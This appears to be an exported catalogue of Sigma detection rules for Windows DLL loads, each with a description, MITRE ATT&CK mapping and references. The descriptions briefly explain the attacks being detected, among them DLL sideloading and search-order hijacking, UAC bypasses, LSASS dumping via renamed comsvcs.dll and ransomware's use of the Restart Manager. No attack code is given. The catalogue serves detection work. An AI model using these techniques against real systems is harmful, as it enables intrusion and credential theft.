<td><a href="https://twitter.com/dez_/status/986614411711442944">https://twitter.com/dez_/status/986614411711442944</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remove_xsl_scripting_dlls.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wmic_remove_xsl_scripting_dlls.yml</a></td>
</tr>
</tbody>
</table>

Potential Goopdate.DLL Sideloading

Detects potential DLL sideloading of "goopdate.dll", a DLL used by googleupdate.exe

The tag is: `misp-galaxy:sigma-rules="Potential Goopdate.DLL Sideloading"`

View relationships graph

Potential Goopdate.DLL Sideloading has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8867. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
**Potential appverifUI.DLL Sideloading**

Detects potential DLL sideloading of "appverifUI.dll"

The tag is: `misp-galaxy:sigma-rules="Potential appverifUI.DLL Sideloading"`

View relationships graph

Potential appverifUI.DLL Sideloading has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8868. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**Potential EACore.DLL Sideloading**

Detects potential DLL sideloading of "EACore.dll"

The tag is: `misp-galaxy:sigma-rules="Potential EACore.DLL Sideloading"`

View relationships graph

Potential EACore.DLL Sideloading has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8869. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Potential 7za.DLL Sideloadng

Detects potential DLL sideloading of "7za.dll"

The tag is: misp-galaxy:sigma-rules="Potential 7za.DLL Sideloadng"

View relationships graph

Potential 7za.DLL Sideloadng has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 8870. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.gov.pl/attachment/ee91f24d-3e67-436d-aa50-7fa56acf789d">https://www.gov.pl/attachment/ee91f24d-3e67-436d-aa50-7fa56acf789d</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_7za.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_7za.yml</a></td>
</tr>
</tbody>
</table>

Svchost DLL Search Order Hijack

Detects DLL sideloading of DLLs that are loaded by the SCM for some services (IKE, IKEEXT, SessionEnv) which do not exists on a typical modern system IKEEXT and SessionEnv service, as they call LoadLibrary on files that do not exist within C:\Windows\System32\ by default. An attacker can place their malicious logic within the PROCESS_ATTACH block of their library and restart the aforementioned services "svchost.exe -k netsvcs" to gain code execution on a remote machine.

The tag is: misp-galaxy:sigma-rules="Svchost DLL Search Order Hijack"

View relationships graph

Svchost DLL Search Order Hijack has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 8871. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992">https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/martinchlumecky/png-steganography/">https://decoded.avast.io/martinchlumecky/png-steganography/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_svchost_dlls.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_svchost_dlls.yml</a></td>
</tr>
</tbody>
</table>
WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load

Detects signs of the WMI script host process "scrcons.exe" loading scripting DLLs which could indicates WMI ActiveScriptEventConsumers EventConsumers activity.

The tag is: misp-galaxy: sigma-rules="WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load"

View relationships graph

WMI ActiveScriptEventConsumers Activity Via Scrcons.EXE DLL Load has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 8872. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/">https://www.mdsec.co.uk/2020/09/i-like-to-move-it-windows-lateral-movement-part-1-wmi-event-subscription/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/HunterPlaybook/status/1301207718355759107">https://twitter.com/HunterPlaybook/status/1301207718355759107</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_wmi_scripteventconsumer.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_scrcons_wmi_scripteventconsumer.yml</a></td>
</tr>
</tbody>
</table>

Potential DLL SideloadinVia comctl32.dll

Detects potential DLL sideloading using comctl32.dll to obtain system privileges

The tag is: misp-galaxy: sigma-rules="Potential DLL SideloadinVia comctl32.dll"

View relationships graph

Potential DLL SideloadinVia comctl32.dll has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
• related-to: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

Table 8873. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/sailay1996/awesome_windows_logical_bugs/blob/60cbb23a801f4c3195deac1cc46df27c225c3d07/dir_create2system.txt">https://github.com/sailay1996/awesome_windows_logical_bugs/blob/60cbb23a801f4c3195deac1cc46df27c225c3d07/dir_create2system.txt</a></td>
</tr>
</tbody>
</table>
Suspicious WSMAN Provider Image Loads

Detects signs of potential use of the WSMAN provider from uncommon processes locally and remote execution.

The tag is: `misp-galaxy:sigma-rules="Suspicious WSMAN Provider Image Loads"`

View relationships graph

Suspicious WSMAN Provider Image Loads has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003"` with estimative-language:likelihood-probability="almost-certain"

Table 8874. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/binderlabs/DirCreate2System">https://github.com/binderlabs/DirCreate2System</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_comctl32.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_comctl32.yml</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_wsman_provider_image_load.yml</a></td>
</tr>
</tbody>
</table>

Potential ShellDispatch.DLL Sideloadings

Detects potential DLL sideloading of "ShellDispatch.dll"

The tag is: `misp-galaxy:sigma-rules="Potential ShellDispatch.DLL Sideloadings"`

View relationships graph

Potential ShellDispatch.DLL Sideloadings has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"
Potential RjvPlatform.DLL Sideload from Default Location

Detects loading of "RjvPlatform.dll" by the "SystemResetPlatform.exe" binary which can be abused as a method of DLL side loading since the "$SysReset" directory isn’t created by default.

The tag is: **misp-galaxy:sigma-rules="Potential RjvPlatform.DLL Sideload from Default Location"**

View relationships graph

Potential RjvPlatform.DLL Sideload from Default Location has relationships with:

- related-to: **misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"** with estimative-language:likelihood-probability="almost-certain"
- related-to: **misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002"** with estimative-language:likelihood-probability="almost-certain"

Suspicious Volume Shadow Copy Vssapi.dll Load

Detects the image load of VSS DLL by uncommon executables

The tag is: **misp-galaxy:sigma-rules="Suspicious Volume Shadow Copy Vssapi.dll Load"**

View relationships graph

Suspicious Volume Shadow Copy Vssapi.dll Load has relationships with:

- related-to: **misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490"** with estimative-language:likelihood-probability="almost-certain"
Suspicious Renamed Comsvcs DLL Loaded By Rundll32

Detects rundll32 loading a renamed comsvcs.dll to dump process memory

The tag is: misp-galaxy:sigma-rules="Suspicious Renamed Comsvcs DLL Loaded By Rundll32"

View relationships graph

Suspicious Renamed Comsvcs DLL Loaded By Rundll32 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"

Table 8878. Table References

Links

https://twitter.com/sbousseaden/status/1555200155351228419
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_comsvcs_load_renamed_version_by_rundll32.yml

UAC Bypass With Fake DLL

Attempts to load dismcore.dll after dropping it

The tag is: misp-galaxy:sigma-rules="UAC Bypass With Fake DLL"

View relationships graph

UAC Bypass With Fake DLL has relationships with:


Table 8879. Table References

Links

https://steemit.com/utopian-io/@ah101/uac-bypassing-utility
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_via_dism.yml
UAC Bypass Using Iscsicpl - ImageLoad

Detects the "iscsicpl.exe" UAC bypass technique that leverages a DLL Search Order hijacking technique to load a custom DLL's from temp or a any user controlled location in the users %PATH%

The tag is: misp-galaxy:sigma-rules="UAC Bypass Using Iscsicpl - ImageLoad"

View relationships graph

UAC Bypass Using Iscsicpl - ImageLoad has relationships with:


Table 8880. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC">https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/wdormann/status/1547583317410607110">https://twitter.com/wdormann/status/1547583317410607110</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_uac_bypass_iscsicpl.yml</a></td>
</tr>
</tbody>
</table>

Potential Wazuh Security Platform DLL Sideloading

Detects potential DLL side loading of DLLs that are part of the Wazuh security platform

The tag is: misp-galaxy:sigma-rules="Potential Wazuh Security Platform DLL Sideloading"

View relationships graph

Potential Wazuh Security Platform DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 8881. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_wazuh.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_wazuh.yml</a></td>
</tr>
</tbody>
</table>

Potential Vivaldi_elf.DLL Sideloading

Detects potential DLL sideloading of "vivaldi_elf.dll"
The tag is: misp-galaxy:sigma-rules="Potential Vivaldi_elf.DLL Sideloading"

View relationships graph

Potential Vivaldi_elf.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 8882. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vivaldi_elf.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vivaldi_elf.yml</a></td>
</tr>
</tbody>
</table>

Potential Rcdll.DLL Sideloading

Detects potential DLL sideloading of rcdll.dll

The tag is: misp-galaxy:sigma-rules="Potential Rcdll.DLL Sideloading"

View relationships graph

Potential Rcdll.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 8883. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_rcdll.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_rcdll.yml</a></td>
</tr>
</tbody>
</table>

HackTool - SharpEvtMute DLL Load

Detects the load of EvtMuteHook.dll, a key component of SharpEvtHook, a tool that tampers with the Windows event logs

The tag is: misp-galaxy:sigma-rules="HackTool - SharpEvtMute DLL Load"
HackTool - SharpEvtMute DLL Load has relationships with:


Fax Service DLL Search Order Hijack

The Fax service attempts to load ualapi.dll, which is non-existent. An attacker can then (side)load their own malicious DLL using this service.

The tag is: misp-galaxy:sigma-rules="Fax Service DLL Search Order Hijack"

Amsi.DLL Load By Uncommon Process

Detects loading of Amsi.dll by uncommon processes

The tag is: misp-galaxy:sigma-rules="Amsi.DLL Load By Uncommon Process"
Potential SolidPDFCreator.DLL Sideloadlng

Detects potential DLL sideloading of "SolidPDFCreator.dll"

The tag is: *misp-galaxy:sigma-rules="Potential SolidPDFCreator.DLL Sideloadlng"*

View relationships graph

Potential SolidPDFCreator.DLL Sideloadlng has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"* with estimative-language:likelihood-probability="almost-certain"

WMI Persistence - Command Line Event Consumer

Detects WMI command line event consumers

The tag is: *misp-galaxy:sigma-rules="WMI Persistence - Command Line Event Consumer"*

View relationships graph

WMI Persistence - Command Line Event Consumer has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003"* with estimative-language:likelihood-probability="almost-certain"
Unsigned Mfdetours.DLL Sideload

Detects DLL sideloading of unsigned "mfdetours.dll". Executing "mftrace.exe" can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.

The tag is: `misp-galaxy:sigma-rules="Unsigned Mfdetours.DLL Sideload"`

View relationships graph

Unsigned Mfdetours.DLL Sideload has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8889. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_mfdetours_unsigned.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_mfdetours_unsigned.yml</a></td>
</tr>
</tbody>
</table>

VMGuestLib DLL Sideload

Detects DLL sideloading of VMGuestLib.dll by the WmiApSrv service.

The tag is: `misp-galaxy:sigma-rules="VMGuestLib DLL Sideload"`

View relationships graph

VMGuestLib DLL Sideload has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8890. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://decoded.avast.io/martinchlumecky/png-steganography/">https://decoded.avast.io/martinchlumecky/png-steganography/</a></td>
</tr>
</tbody>
</table>
Potential DLL Sideloading Of Non-Existent DLLs From System Folders

Detects DLL sideloading of system dlls that are not present on the system by default. Usually to achieve techniques such as UAC bypass and privilege escalation.

The tag is: `misp-galaxy:sigma-rules="Potential DLL Sideloading Of Non-Existent DLLs From System Folders"`

View relationships graph

Potential DLL Sideloading Of Non-Existent DLLs From System Folders has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8891. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/">https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/</a></td>
</tr>
<tr>
<td><a href="http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html">http://remoteawesomethoughts.blogspot.com/2019/05/windows-10-task-schedulerservice.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/Wh04m1001/SysmonEoP">https://github.com/Wh04m1001/SysmonEoP</a></td>
</tr>
<tr>
<td><a href="https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992">https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992</a></td>
</tr>
<tr>
<td><a href="https://decoded.avast.io/martinchlumecky/png-steganography/">https://decoded.avast.io/martinchlumecky/png-steganography/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_non_existent_dlls.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_non_existent_dlls.yml</a></td>
</tr>
</tbody>
</table>

Potential DLL Sideloading Of DBGCORE.DLL

Detects DLL sideloading of "dbgcore.dll"

The tag is: `misp-galaxy:sigma-rules="Potential DLL Sideloading Of DBGCORE.DLL"`

View relationships graph

Potential DLL Sideloading Of DBGCORE.DLL has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"
Table 8892. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://hijacklibs.net/">https://hijacklibs.net/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_debugcore_dll.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_debugcore_dll.yml</a></td>
</tr>
</tbody>
</table>

**Amsi.DLL Loaded Via LOLBIN Process**

Detects loading of "Amsi.dll" by a living of the land process. This could be an indication of a "PowerShell without PowerShell" attack

The tag is: *misp-galaxy:sigma-rules=*"Amsi.DLL Loaded Via LOLBIN Process"

Table 8893. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.paloaltonetworks.com/blog/security-operations/stopping-powershell-without-powershell/">https://www.paloaltonetworks.com/blog/security-operations/stopping-powershell-without-powershell/</a></td>
</tr>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_amsi_suspicious_process.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_amsi_suspicious_process.yml</a></td>
</tr>
</tbody>
</table>

**Potential AVKkid.DLL Sideloadling**

Detects potential DLL sideloading of "AVKkid.dll"

The tag is: *misp-galaxy:sigma-rules=*"Potential AVKkid.DLL Sideloadling"

View relationships graph

Potential AVKkid.DLL Sideloadling has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*"DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 8894. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Potential DLL Sideloading Via JsSchHlp

Detects potential DLL sideloading using JUSTSYSTEMS Japanese word processor

The tag is: `misp-galaxy:sigma-rules="Potential DLL Sideloading Via JsSchHlp"`

View relationships graph

Potential DLL Sideloading Via JsSchHlp has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8895. Table References

Links

- https://www.welivesecurity.com/2022/12/14/unmasking-mirrorface-operation-liberalface-targeting-japanese-political-entities/
- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_jsschhlp.yml

Potential DLL Sideloading Using Coregen.exe

Detect usage of DLL "coregen.exe" (Microsoft CoreCLR Native Image Generator) binary to sideload arbitrary DLLs.

The tag is: `misp-galaxy:sigma-rules="Potential DLL Sideloading Using Coregen.exe"`

View relationships graph

Potential DLL Sideloading Using Coregen.exe has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

Table 8896. Table References

Links
Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE

Detects both of CVE-2022-30190 (Follina) and DogWalk vulnerabilities exploiting msdt.exe binary to load the "sdiageng.dll" library.

The tag is: misp-galaxy:sigma-rules="Diagnostic Library Sdiageng.DLL Loaded By Msdt.EXE"

Remote DLL Load Via Rundll32.EXE

Detects a remote DLL load event via "rundll32.exe".

The tag is: misp-galaxy:sigma-rules="Remote DLL Load Via Rundll32.EXE"
VMMap Signed Dbghelp.DLL Potential Sideloading

Detects potential DLL sideloading of a signed dbghelp.dll by the Sysinternals VMMap.

The tag is: `misp-galaxy:sigma-rules="VMMap Signed Dbghelp.DLL Potential Sideloading"`

View relationships graph

VMMap Signed Dbghelp.DLL Potential Sideloading has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8899. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://techcommunity.microsoft.com/t5/sysinternals-blog/zoomit-v7-1-procdump-2-0-for-linux-process-explorer-v17-05/ba-p/3884766">https://techcommunity.microsoft.com/t5/sysinternals-blog/zoomit-v7-1-procdump-2-0-for-linux-process-explorer-v17-05/ba-p/3884766</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmmmap_dbghelp_signed.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmmmap_dbghelp_signed.yml</a></td>
</tr>
</tbody>
</table>

Potential System DLL Sideloading From Non System Locations

Detects DLL sideloading of DLLs usually located in system locations (System32, SysWOW64, etc.)

The tag is: `misp-galaxy:sigma-rules="Potential System DLL Sideloading From Non System Locations"`

View relationships graph

Potential System DLL Sideloading From Non System Locations has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8900. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md">https://github.com/XForceIR/SideLoadHunter/blob/cc7ef2e5d8908279b0c4cee4e8b6f85f7b8eed52/SideLoads/README.md</a></td>
</tr>
<tr>
<td><a href="https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/">https://blog.cyble.com/2022/07/21/qakbot-resurfaces-with-new-playbook/</a></td>
</tr>
<tr>
<td><a href="https://hijacklibs.net/">https://hijacklibs.net/</a></td>
</tr>
</tbody>
</table>
Abusable DLL Potential Sidelodging From Suspicious Location

Detects potential DLL sideloading of DLLs that are known to be abused from suspicious locations

The tag is: misp-galaxy:sigma-rules="Abusable DLL Potential Sidelodging From Suspicious Location"

View relationships graph

Abusable DLL Potential Sidelodging From Suspicious Location has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 8901. Table References

Links

- https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_abused_dlls_susp_paths.yml

Suspicious Volume Shadow Copy VSS_PS.dll Load

Detects the image load of vss_ps.dll by uncommon executables

The tag is: misp-galaxy:sigma-rules="Suspicious Volume Shadow Copy VSS_PS.dll Load"

View relationships graph

Suspicious Volume Shadow Copy VSS_PS.dll Load has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 8902. Table References

Links

- https://www.virustotal.com/gui/file/ba88ca45589fae0139a40ca27738a8fc2dfbe1be5a64a9558f4e0f52b35c5add
- https://twitter.com/am0nsec/status/1412232114980982787
Potential CCleanerDU.DLL Sideloading

Detects potential DLL sideloading of "CCleanerDU.dll"

The tag is: `misp-galaxy:sigma-rules="Potential CCleanerDU.DLL Sideloading"`

View relationships graph

Potential CCleanerDU.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 8903. Table References

Links

https://lab52.io/blog/2344-2/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_ccleaner_du.yml

Potential Azure Browser SSO Abuse

Detects abusing Azure Browser SSO by requesting OAuth 2.0 refresh tokens for an Azure-AD-authenticated Windows user (i.e. the machine is joined to Azure AD and a user logs in with their Azure AD account) wanting to perform SSO authentication in the browser. An attacker can use this to authenticate to Azure AD in a browser as that user.

The tag is: `misp-galaxy:sigma-rules="Potential Azure Browser SSO Abuse"`

View relationships graph

Potential Azure Browser SSO Abuse has relationships with:


Table 8904. Table References

Links

https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_azure_microsoft_account_token_provider_dll_load.yml
Aruba Network Service Potential DLL Sideloading

Detects potential DLL sideloading activity via the Aruba Networks Virtual Intranet Access "arubanetsvc.exe" process using DLL Search Order Hijacking

The tag is: *misp-galaxy: sigma-rules="Aruba Network Service Potential DLL Sideloading"*

View relationships graph

Aruba Network Service Potential DLL Sideloading has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 8905. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/wdormann/status/1616581559892545537?t=XLCBO9BziGzD7Bmbt8oMEQ&amp;s=09">https://twitter.com/wdormann/status/1616581559892545537?t=XLCBO9BziGzD7Bmbt8oMEQ&amp;s=09</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_aruba_networks_virtual_intranet_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_aruba_networks_virtual_intranet_access.yml</a></td>
</tr>
</tbody>
</table>

Potential RjvPlatform.DLL Sideloading From Non-Default Location

Detects potential DLL sideloading of "RjvPlatform.dll" by "SystemResetPlatform.exe" located in a non-default location.

The tag is: *misp-galaxy: sigma-rules="Potential RjvPlatform.DLL Sideloading From Non-Default Location"*

View relationships graph

Potential RjvPlatform.DLL Sideloading From Non-Default Location has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 8906. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/0gtweet/status/1666716511988330499">https://twitter.com/0gtweet/status/1666716511988330499</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_rjvplatform_non_default_location.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_rjvplatform_non_default_location.yml</a></td>
</tr>
</tbody>
</table>
**PowerShell Core DLL Loaded By Non PowerShell Process**

Detects loading of essential DLLs used by PowerShell, but not by the process powershell.exe. Detects behaviour similar to meterpreter’s "load powershell" extension.

The tag is: `misp-galaxy:sigma-rules="PowerShell Core DLL Loaded By Non PowerShell Process"`

**Load Of RstrtMgr.DLL By An Uncommon Process**

Detects the load of RstrtMgr DLL (Restart Manager) by an uncommon process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.

The tag is: `misp-galaxy:sigma-rules="Load Of RstrtMgr.DLL By An Uncommon Process"`
Potential Antivirus Software DLL Sidelocking

Detects potential DLL sideloading of DLLs that are part of antivirus software such as McAfee, Symantec...etc

The tag is: misp-galaxy:sigma-rules="Potential Antivirus Software DLL Sidelocking"

View relationships graph

Potential Antivirus Software DLL Sidelocking has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

DotNET Assembly DLL Loaded Via Office Application

Detects any assembly DLL being loaded by an Office Product

The tag is: misp-galaxy:sigma-rules="DotNET Assembly DLL Loaded Via Office Application"

View relationships graph

DotNET Assembly DLL Loaded Via Office Application has relationships with:

Third Party Software DLL Sideloading

Detects DLL sideloading of DLLs that are part of third party software (zoom, discord,...etc)

The tag is: misp-galaxy:sigma-rules="Third Party Software DLL Sideloading"

View relationships graph

Third Party Software DLL Sideloading has relationships with:

